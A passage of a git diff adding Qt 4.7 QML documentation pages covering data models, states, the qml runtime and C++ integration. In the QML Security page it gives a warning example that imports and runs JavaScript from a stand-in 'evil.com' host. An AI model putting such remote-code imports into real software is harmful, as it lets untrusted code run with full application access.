to display child lists of a heirachical model +use the VisualDataModel element with \e rootIndex set to a parent node. + + +\section2 QStringList + +QStringList provides the contents of the list via the \e modelData role: + +\table +\row +\o +\code +// main.cpp +QStringList dataList; +dataList.append("Fred"); +dataList.append("Ginger"); +dataList.append("Skipper"); + +QDeclarativeContext *ctxt = view.rootContext(); +ctxt->setContextProperty("myModel", QVariant::fromValue(&dataList)); +\endcode + +\o +\code +// main.qml +ListView { + width: 100 + height: 100 + anchors.fill: parent + model: myModel + delegate: Component { + Rectangle { + height: 25 + Text { text: modelData } + } + } +} +\endcode +\endtable + +\note There is no way for the view to know that the contents of a QStringList +have changed. If the QStringList is changed, it will be necessary to reset +the model by calling QDeclarativeContext::setContextProperty() again. + + +\section2 QList<QObject*> + +QList<QObject*> provides the properties of the objects in the list as roles. + +\code +class DataObject : public QObject +{ + Q_OBJECT + + Q_PROPERTY(QString name READ name WRITE setName) + Q_PROPERTY(QString color READ color WRITE setColor) +... +}; + +QList<QObject*> dataList; +dataList.append(new DataObject("Item 1", "red")); +dataList.append(new DataObject("Item 2", "green")); +dataList.append(new DataObject("Item 3", "blue")); +dataList.append(new DataObject("Item 4", "yellow")); + +QDeclarativeContext *ctxt = view.rootContext(); +ctxt->setContextProperty("myModel", QVariant::fromValue(dataList)); +\endcode + +The properties of the object may then be accessed in the delegate: + +\code +ListView { + width: 100 + height: 100 + anchors.fill: parent + model: myModel + delegate: Component { + Rectangle { + height: 25 + width: 100 + color: model.color + Text { text: name } + } + } +} +\endcode + +Note: There is no way for the view to know that the contents of a QList +have changed. If the QList is changed, it will be necessary to reset +the model by calling QDeclarativeContext::setContextProperty() again. + + +\section1 Other Data Models + + +\section2 An Integer + +An Integer specifies a model containing the integer number of elements. +There are no data roles. + +The following example creates a ListView with five elements: +\code +Item { + width: 200 + height: 250 + + Component { + id: itemDelegate + Text { text: "I am item number: " + index } + } + + ListView { + anchors.fill: parent + model: 5 + delegate: itemDelegate + } + +} +\endcode + + +\section2 An Object Instance + +An Object Instance specifies a model with a single Object element. The +properties of the object are provided as roles. + +The example below creates a list with one item, showing the color of the +\e myText text. Note the use of the fully qualified \e model.color property +to avoid clashing with \e color property of the Text element in the delegate. + +\code +Rectangle { + Text { + id: myText + text: "Hello" + color: "#dd44ee" + } + + Component { + id: myDelegate + Text { + text: model.color + } + } + ListView { + anchors.fill: parent + anchors.topMargin: 30 + model: myText + delegate: myDelegate + } +} +\endcode + +*/ diff --git a/doc/src/declarative/qdeclarativereference.qdoc b/doc/src/declarative/qdeclarativereference.qdoc new file mode 100644 index 0000000..b2cfba8 --- /dev/null +++ b/doc/src/declarative/qdeclarativereference.qdoc @@ -0,0 +1,95 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \page qdeclarativereference.html + \title QML Reference + + \target qtdeclarativemainpage + + QML is a language for building the animation rich, + highly fluid user interfaces that are becoming common in portable consumer + electronics devices such as mobile phones, media players, set-top boxes and + netbooks. It is also appropriate for highly custom desktop + user interfaces, or special elements in more traditional desktop user interfaces. + + Building fluid applications is done declaratively, rather than procedurally. + That is, you specify \e what the UI should look like and how it should behave + rather than specifying step-by-step \e how to build it. Specifying a UI declaratively + does not just include the layout of the interface items, but also the way each + individual item looks and behaves and the overall flow of the application. + + The QML elements provide a sophisticated set of graphical and behavioral building + blocks. These different elements are combined together in \l {QML Documents}{QML documents} to build components + ranging in complexity from simple buttons and sliders, to complete + internet-enabled applications like a \l {http://www.flickr.com}{Flickr} photo browser. + + Getting Started: + \list + \o \l {Introduction to the QML language} + \o \l {QML Tutorial}{Tutorial: 'Hello World'} + \o \l {QML Advanced Tutorial}{Advanced Tutorial: 'Same Game'} + \o \l {QML Examples and Walkthroughs} + \endlist + + \section1 Core QML Features: + \list + \o \l {QML Documents} + \o \l {Property Binding} + \o \l {Integrating JavaScript} + \o \l {QML Scope} + \o \l {Network Transparency} + \o \l {qmlmodels}{Data Models} + \o \l {anchor-layout}{Anchor-based Layout} + \o \l {qmlstates}{States} + \o \l {qdeclarativeanimation.html}{Animation} + \o \l {qdeclarativemodules.html}{Modules} + \o \l {qmlfocus}{Keyboard Focus} + \o \l {Extending types from QML} + \endlist + + QML Reference: + \list + \o \l {elements}{QML Elements} + \o \l {QML Global Object} + \o \l {QML Internationalization} + \endlist +*/ diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc new file mode 100644 index 0000000..290d78f --- /dev/null +++ b/doc/src/declarative/qdeclarativesecurity.qdoc @@ -0,0 +1,90 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativesecurity.html +\title QML Security +\section1 QML Security + +The QML security model is that QML content is a chain of trusted content: the user +installs QML content that they trust in the same way as they install native Qt applications, +or programs written with runtimes such as Python and Perl. That trust is establish by any +of a number of mechanisms, including the availability of package signing on some platforms. + +In order to preserve the trust of users, developers producing QML content should not execute +arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements. + +For example, this QML content: + +\qml +import "http://evil.com/evil.js" as Evil +... Evil.doEvil() ... +\endqml + +is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution +environment of QML does not try to stop any particular accesses, including local file system +access, just as for any native Qt application, so the "doEvil" function could do the same things +as a native Qt application, a Python application, a Perl script, ec. + +As with any application accessing other content beyond it's control, a QML application should +perform appropriate checks on untrusted data it loads. + +A non-exhaustive list of the ways you could shoot yourself in the foot is: + +\list + \i Using \c import to import QML or JavaScript you do not control. BAD + \i Using \l Loader to import QML you do not control. BAD + \i Using \l{XMLHttpRequest()}{XMLHttpRequest} to load data you do not control and executing it. BAD +\endlist + +However, the above does not mean that you have no use for the network transparency of QML. +There are many good and useful things you \e can do: + +\list + \i Create \l Image elements with source URLs of any online images. GOOD + \i Use XmlListModel to present online content. GOOD + \i Use \l{XMLHttpRequest()}{XMLHttpRequest} to interact with online services. GOOD +\endlist + +The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser}, +has quite many restrictions. With QML, you should neither rely on similar restrictions, nor +worry about working around them. +*/ diff --git a/doc/src/declarative/qdeclarativestates.qdoc b/doc/src/declarative/qdeclarativestates.qdoc new file mode 100644 index 0000000..0fea6f8 --- /dev/null +++ b/doc/src/declarative/qdeclarativestates.qdoc @@ -0,0 +1,127 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativestates.html +\target qmlstates +\title QML States + +\section1 Overview + +QML states typically describe user interface configurations, including: +\list +\o What UI elements are present +\o The properties of those elements (including how they behave) +\o What actions are available +\endlist + +A state can also be thought of as a set of batched changes from a default configuration. + +Examples of states in modern UI: +\list +\o An Address Book application with a 'View Contact' state and an 'Edit Contact' State. In the first state the contact information presented is read-only (using labels), and in the second it is editable (using editors). +\o A button with a pressed and unpressed state. When pressed the text moves slightly down and to the right, and the button has a slightly darker appearance. +\endlist + +\section1 States in QML + +In QML: +\list +\o Any object can use states. +\o There is a default state. The default state can be explicitly set. +\o A state can affect the properties of other objects, not just the object owning the state (and not just that object's children). +\endlist + +Here is an example of using states. In the default state \c myRect is positioned at 0,0. In the 'moved' state it is positioned at 50,50. Clicking within the mouse region changes the state from the default state to the 'moved' state, thus moving the rectangle. + +\qml +Item { + id: myItem + + Rectangle { + id: myRect + width: 100 + height: 100 + color: "red" + } + + states: [ + State { + name: "moved" + PropertyChanges { + target: myRect + x: 50 + y: 50 + } + } + ] + + MouseArea { + anchors.fill: parent + onClicked: myItem.state = 'moved' + } +} +\endqml + +State changes can be animated using \l{state-transitions}{Transitions}. + +For example, adding this code to the above \c {Item {}} element animates the transition to the "moved" state: + +\qml + transitions: [ + Transition { + NumberAnimation { properties: "x,y"; duration: 500 } + } + ] +\endqml + +See \l{state-transitions}{Transitions} for more information. + + +Other things you can do in a state change: +\list +\o override signal handlers with PropertyChanges +\o change an item's visual parent with ParentChange +\o change an item's anchors with AnchorChanges +\o run some script with StateChangeScript +\endlist + +*/ diff --git a/doc/src/declarative/qmlruntime.qdoc b/doc/src/declarative/qmlruntime.qdoc new file mode 100644 index 0000000..9f7183a --- /dev/null +++ b/doc/src/declarative/qmlruntime.qdoc @@ -0,0 +1,187 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \page qmlruntime.html + \title Qt Declarative UI Runtime + \keyword qml runtime + \ingroup qttools + + This page documents the \e{Declarative UI Runtime} for the Qt GUI + toolkit, and the \c qml executable which can be used to run apps + written for the runtime. The \c qml executable reads a declarative user interface definition + (\c .qml) file and displays the user interface it describes. + + QML is a runtime, as you can run plain qml files which pull in their required modules. + To run apps with the QML runtime, you can either start the runtime + from your on application (using a QDeclarativeView) or with the simple \c qml application. + The \c qml application can be + installed in a production environment, assuming that it is not already + present in the system. It is generally packaged alongside Qt. + + To deploy an application using the QML runtime, you have two options: + + \list + \o Write your own Qt application including a QDeclarative view and deploy it the same as + any other Qt application (not discussed further on this page), or + \o Write a main QML file for your application, and run your application using the included \c qml tool. + \endlist + + To run an application with the \c qml tool, pass the filename as an argument: + + \code + qml myQmlFile.qml + \endcode + + Deploying a QML application via the \c qml executable allows for QML only deployments, but can also + include custom C++ modules just as easily. Below is an example of how you might structure + a complex application deployed via the qml runtime, it is a listing of the files that would + be included in the deployment package. + + \code + MyApp.qml + MyAppCore/qmldir + MyAppCore/libMyAppCore.so + MyAppCore/MyAppCore.dll + MyAppCore/AnAppElement.qml + MyAppCore/AnotherElement.qml + MyAppCore/images/Logo.png + OtherModule/qmldir + OtherModule/OtherElement.qml + \endcode + + Note that this example is for deploying the example to both windows and linux. You will still need to compile the C++ + modules for each target platform, but you can deploy multiple versions of the modules across platforms with different naming conventions, + as the appropriate module file is chosen based on platform naming conventions. The C++ + modules must contain a QDeclarativeExtentionPlugin subclass. + + The application would be executed either with your own application, the command 'qml MyApp.qml' or by + opening the qml file if your system has the \c qml executable registered as the handler for qml files. The MyApp.qml file would have access + to all of the deployed types using the import statements such as the following: + + \code + import "MyAppCore" + import "OtherModule" 1.0 as Other + \endcode + + \section1 \c qml application functionality + The \c qml application implements some additional functionality to help it serve the role of a launcher + for myriad applications. If you implement your own launcher application, you may also wish to reimplement + some or all of this functionality. However, much of this functionality is intended to aid the prototyping of + qml applications and may not be necessary for a deployed application. + + \section2 Options + + When run with the \c -help option, qml shows available options. + + \section2 Dummy Data + + The secondary use of the qml runtime is to allow QML files to be viewed with + dummy data. This is useful when prototyping the UI, as the dummy data can + be later replaced with actual data and bindings from a C++ plugin. + To provide dummy data: create a directory called "dummydata" in the same directory as + the target QML file and create files there with the "qml" extension. + All such files will be loaded as QML objects and bound to the root + context as a property with the name of the file (without ".qml"). + + To replace this with real data, you simply bind the real object to + the root context in C++. + + For example, if the Qt application has a "clock.time" property + that is a qreal from 0 to 86400 representing the number of seconds since + midnight, dummy data for this could be provided by \c dummydata/clock.qml: + \code + QtObject { property real time: 12345 } + \endcode + Any QML can be used in the dummy data files. You could even animate the + fictional data! + + \section2 Runtime Object + + All applications using the qmlruntime will have access to the 'runtime' + property on the root context. This property contains several information + about the runtime environment of the application. + + \section3 Screen Orientation + + A special piece of dummy data which is integrated into the runtime is + a simple orientation property. The orientation can be set via the + settings menu in the application, or by pressing Ctrl+T to toggle it. + + To use this from within your QML file, access runtime.orientation, + which can be either Orientation.Landscape or Orientation.Portrait and which can be bound to in your + application. An example is below: + +\code + Item { + state: (runtime.orientation == Orientation.Landscape) ? 'landscape' : '' + } +\endcode + + This allows your application to respond to the orientation of the screen changing. The runtime + will automatically update this on some platforms (currently the N900 only) to match the physical + screen's orientation. On other plaforms orientation changes will only happen when explictly asked for. + + \section3 Window Active + + The runtime.isActiveWindow property tells whether the main window of the qml runtime is currently active + or not. This is specially useful for embedded devices when you want to pause parts of your application, + including animations, when your application loses focus or goes to the background. + + The example below, stops the animation when the application's window is deactivated and resumes on activation: + +\code + Item { + width: 300; height: 200 + Rectangle { + width: 100; height: 100 + color: "green" + SequentialAnimation on x { + running: runtime.isActiveWindow + loops: Animation.Infinite + NumberAnimation {to: 200} + NumberAnimation {to: 0} + } + } + } +\endcode + +*/ diff --git a/doc/src/declarative/qtbinding.qdoc b/doc/src/declarative/qtbinding.qdoc new file mode 100644 index 0000000..d024ff2 --- /dev/null +++ b/doc/src/declarative/qtbinding.qdoc @@ -0,0 +1,273 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtbinding.html +\target qtbinding +\title Using QML in C++ Applications + +\tableofcontents + +The QML API is split into three main classes - QDeclarativeEngine, QDeclarativeComponent and QDeclarativeContext. +QDeclarativeEngine provides the environment in which QML is run, QDeclarativeComponent encapsulates +\l {QML Documents}, and QDeclarativeContext allows applications to expose data to QML component instances. + +QML also includes a convenience API, QDeclarativeView, for applications that simply want to embed QML +components into a new QGraphicsView. QDeclarativeView covers up many of the details discussed below. +While QDeclarativeView is mainly intended for rapid prototyping it can have uses in production applications. + +If you are looking at retrofitting an existing Qt application with QML, +read \l{Integrating QML with existing Qt UI code}. +\section1 Basic Usage + +Every application requires at least one QDeclarativeEngine. A QDeclarativeEngine allows the configuration of +global settings that apply to all the QML component instances - such as the QNetworkAccessManager +that is used for network communications, and the path used for persistent storage. +Multiple QDeclarativeEngine's are only needed if the application requires these settings to differ +between QML component instances. + +\l {QML Documents} are loaded using the QDeclarativeComponent class. Each QDeclarativeComponent instance +represents a single QML document. A QDeclarativeComponent can be passed a document URL, or raw text +representing the content of the document. The document URL can be a local filesystem URL, or +any network URL supported by QNetworkAccessManager. + +QML component instances can then be created by calling the QDeclarativeComponent::create() method. Here's +an example of loading a QML document, and creating an object from it. + +\code + QDeclarativeEngine *engine = new QDeclarativeEngine(parent); + QDeclarativeComponent component(engine, QUrl::fromLocalFile("main.qml")); + QObject *myObject = component.create(); +\endcode + +\section1 Exposing Data + +QML components are instantiated in a QDeclarativeContext. A context allows the application to expose data +to the QML component instance. A single QDeclarativeContext can be used to instantiate all the objects +used by an application, or several QDeclarativeContext can be created for more fine grained control over +the data exposed to each instance. If a context is not passed to the QDeclarativeComponent::create() +method, the QDeclarativeEngine's \l {QDeclarativeEngine::rootContext()}{root context} is used. Data exposed through +the root context is available to all object instances. + +\section1 Simple Data + +To expose data to a QML component instance, applications set \l {QDeclarativeContext::setContextProperty()} +{context properties} which are then accessible by name from QML \l {Property Binding}s and JavaScript. +The following example shows how to expose a background color to a QML file through QDeclarativeView: + +\table +\row +\o +\c {// main.cpp} +\snippet doc/src/declarative/snippets/qtbinding/contextproperties/main.cpp 0 + +\o +\c {// main.qml} +\snippet doc/src/declarative/snippets/qtbinding/contextproperties/main.qml 0 + +\endtable + +Or, if you want \c main.cpp to create the component without showing it in a QDeclarativeView, you could create an instance of QDeclarativeContext using QDeclarativeEngine::rootContext() instead: + +\snippet doc/src/declarative/snippets/qtbinding/contextproperties/main.cpp 1 + +Context properties work just like normal properties in QML bindings - if the \c backgroundColor +context property in this example was changed to red, the component object instances would +all be automatically updated. Note that it is the responsibility of the creator to delete any +QDeclarativeContext it constructs. If the \c windowContext is no longer needed when +the \c window component instantiation is destroyed, the \c windowContext must be destroyed +explicitly. The simplest way to ensure this is to set \c window as \c windowContext's parent. + +QDeclarativeContexts form a tree - each QDeclarativeContext except for the root context has a parent. Child +QDeclarativeContexts effectively inherit the context properties present in their parents. This gives +applications more freedom in partitioning the data exposed to different QML object instances. +If a QDeclarativeContext sets a context property that is also set in one of its parents, the new context +property shadows that in the parent. In The following example, the \c background context property +in \c {Context 1} shadows the \c background context property in the root context. + +\image qml-context-tree.png + +\section2 Structured Data + +Context properties can also be used to expose structured and writable data to QML objects. In +addition to all the types already supported by QVariant, QObject derived types can be assigned to +context properties. QObject context properties allow the data exposed to be more structured, and +allow QML to set values. + +The following example creates a \c CustomPalette object, and sets it as the \c palette context +property. + +\snippet doc/src/declarative/snippets/qtbinding/custompalette/custompalette.h 0 + +\snippet doc/src/declarative/snippets/qtbinding/custompalette/main.cpp 0 + +The QML that follows references the palette object, and its properties, to set the appropriate +background and text colors. When the window is clicked, the palette's text color is changed, and +the window text will update accordingly. + +\snippet doc/src/declarative/snippets/qtbinding/custompalette/main.qml 0 + +To detect when a C++ property value - in this case the \c CustomPalette's \c text property - +changes, the property must have a corresponding NOTIFY signal. The NOTIFY signal specifies a signal +that is emitted whenever the property changes value. Implementers should take care to only emit the +signal if the value \e changes to prevent loops from occuring. Accessing a property from a +binding that does not have a NOTIFY signal will cause QML to issue a warning at runtime. + +\section2 Dynamic Structured Data + +If an application is too dynamic to structure data as compile-time QObject types, dynamically +structured data can be constructed at runtime using the QDeclarativePropertyMap class. + + +\section1 Calling C++ methods from QML + +It is possible to call methods of QObject derived types by either exposing the +methods as public slots, or by marking the methods Q_INVOKABLE. + +The C++ methods can also have parameters and return values. QML has support for +the following types: + +\list +\o bool +\o unsigned int, int +\o float, double, qreal +\o QString +\o QUrl +\o QColor +\o QDate, QTime, QDateTime +\o QPoint, QPointF +\o QSize, QSizeF +\o QRect, QRectF +\o QVariant +\endlist + +This example toggles the "Stopwatch" object on/off when the MouseArea is clicked: + +\table +\row +\o +\c {// main.cpp} +\snippet doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.h 0 +\snippet doc/src/declarative/snippets/qtbinding/stopwatch/main.cpp 0 + +\o +\c {// main.qml} +\snippet doc/src/declarative/snippets/qtbinding/stopwatch/main.qml 0 + +\endtable + +Note that in this particular example a better way to achieve the same result +is to have a "running" property in \c main.qml. This leads to much nicer QML code: + +\table +\row +\o +\code +// main.qml +import Qt 4.7 + +Rectangle { + MouseArea { + anchors.fill: parent + onClicked: stopwatch.running = !stopwatch.running + } +} +\endcode +\endtable + +Of course, it is also possible to call \l {Adding new methods}{functions declared in QML from C++}. + + +\section1 Network Components + +If the URL passed to QDeclarativeComponent is a network resource, or if the QML document references a +network resource, the QDeclarativeComponent has to fetch the network data before it is able to create +objects. In this case, the QDeclarativeComponent will have a \l {QDeclarativeComponent::Loading}{Loading} +\l {QDeclarativeComponent::status()}{status}. An application will have to wait until the component +is \l {QDeclarativeComponent::Ready}{Ready} before calling \l {QDeclarativeComponent::create()}. + +The following example shows how to load a QML file from a network resource. After creating +the QDeclarativeComponent, it tests whether the component is loading. If it is, it connects to the +QDeclarativeComponent::statusChanged() signal and otherwise calls the \c {continueLoading()} method +directly. This test is necessary, even for URLs that are known to be remote, just in case +the component has been cached and is ready immediately. + +\code +MyApplication::MyApplication() +{ + // ... + component = new QDeclarativeComponent(engine, QUrl("http://www.example.com/main.qml")); + if (component->isLoading()) + QObject::connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)), + this, SLOT(continueLoading())); + else + continueLoading(); +} + +void MyApplication::continueLoading() +{ + if (component->isError()) { + qWarning() << component->errors(); + } else { + QObject *myObject = component->create(); + } +} +\endcode + +\section1 Qt Resources + +QML content can be loaded from \l {The Qt Resource System} using the \e qrc: URL scheme. +For example: + +\c [project/example.qrc] +\quotefile doc/src/declarative/snippets/qtbinding/resources/example.qrc + +\c [project/project.pro] +\quotefile doc/src/declarative/snippets/qtbinding/resources/resources.pro + +\c [project/main.cpp] +\snippet doc/src/declarative/snippets/qtbinding/resources/main.cpp 0 + +\c [project/main.qml] +\snippet doc/src/declarative/snippets/qtbinding/resources/main.qml 0 + +*/ + diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc new file mode 100644 index 0000000..cbb2146 --- /dev/null +++ b/doc/src/declarative/qtdeclarative.qdoc @@ -0,0 +1,121 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \module QtDeclarative + \title QtDeclarative Module + \ingroup modules + + \brief The Qt Declarative module provides a declarative framework + for building highly dynamic, custom user interfaces. + + To include the definitions of the module's classes, use the + following directive: + + \code + #include <QtDeclarative> + \endcode + + To link against the module, add this line to your \l qmake \c + .pro file: + + \code + QT += declarative + \endcode + + For more information on the Qt Declarative module, see the + \l{declarativeui.html}{Declarative UI} documentation. +*/ + + +/*! + \macro QML_DECLARE_TYPE() + \relates QDeclarativeEngine + + Declares a C++ type to be usable in the QML system. In addition + to this, a type must also be registered with the QML system using + qmlRegisterType(). +*/ + + +/*! + \fn int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) + \relates QDeclarativeEngine + + This template function registers the C++ type in the QML system with + the name \a qmlName. in the library imported from \a uri having the + version number composed from \a versionMajor and \a versionMinor. + The type should also haved been declared with the QML_DECLARE_TYPE() macro. + + Returns the QML type id. + + Example: Register the C++ class \c MinehuntGame as the QML type + named \c Game for version 0.1 in the import library \c MinehuntCore: + + \code + qmlRegisterType<MinehuntGame>("MinehuntCore", 0, 1, "Game"); + \endcode + +*/ + +/*! + \fn int qmlRegisterType() + \relates QDeclarativeEngine + \overload + + This template function registers the C++ type in the QML + system. Instances of this type cannot be created from the QML + system. + + Returns the QML type id. +*/ + +/*! + \fn int qmlRegisterInterface(const char *typeName) + \relates QDeclarativeEngine + + This template function registers the C++ type in the QML system + under the name \a typeName. + The type should also haved been declared with the QML_DECLARE_TYPE() macro. + + + Returns the QML type id. + */ diff --git a/doc/src/declarative/qtprogrammers.qdoc b/doc/src/declarative/qtprogrammers.qdoc new file mode 100644 index 0000000..05ffeb0 --- /dev/null +++ b/doc/src/declarative/qtprogrammers.qdoc @@ -0,0 +1,163 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + + INCOMPLETE + +\page qtprogrammers.html +\target qtprogrammers +\title QML for Qt programmers + +\section1 Overview + +While QML does not require Qt knowledge to use, if you \e are already familar with Qt, +much of your knowledge is directly relevant to learning and using QML. Of course, +an application with a UI defined in QML also uses Qt for all the non-UI logic. + +\section1 Familiar Concepts + +QML provides direct access to the following concepts from Qt: + +\list + \o QAction - the \l {QML Basic Types}{action} type + \o QObject signals and slots - available as functions to call in JavaScript + \o QObject properties - available as variables in JavaScript + \o QWidget - QDeclarativeView is a QML-displaying widget + \o Qt models - used directly in data binding (QAbstractItemModel and next generation QListModelInterface) +\endlist + +Qt knowledge is \e required for \l {Extending QML in C++}, and also for \l{Integrating QML with existing Qt UI code}. + +\section1 QML Items compared with QWidgets + +QML Items are very similar to QWidgets: they define the look and feel of the user interface. (Note that while QWidgets +haven't traditionally been used to define the look and feel of view delegates, QML Items can be used for this as well.) + +There are three structurally different types of QWidget: + +\list + \o Simple widgets that are not used as parents (QLabel, QCheckBox, QToolButton, etc.) + \o Parent widgets that are normally used as parents to other widgets (QGroupBox, QStackedWidget, QTabWidget, etc.) + \o Compound widgets that are internally composed of child widgets (QComboBox, QSpinBox, QFileDialog, 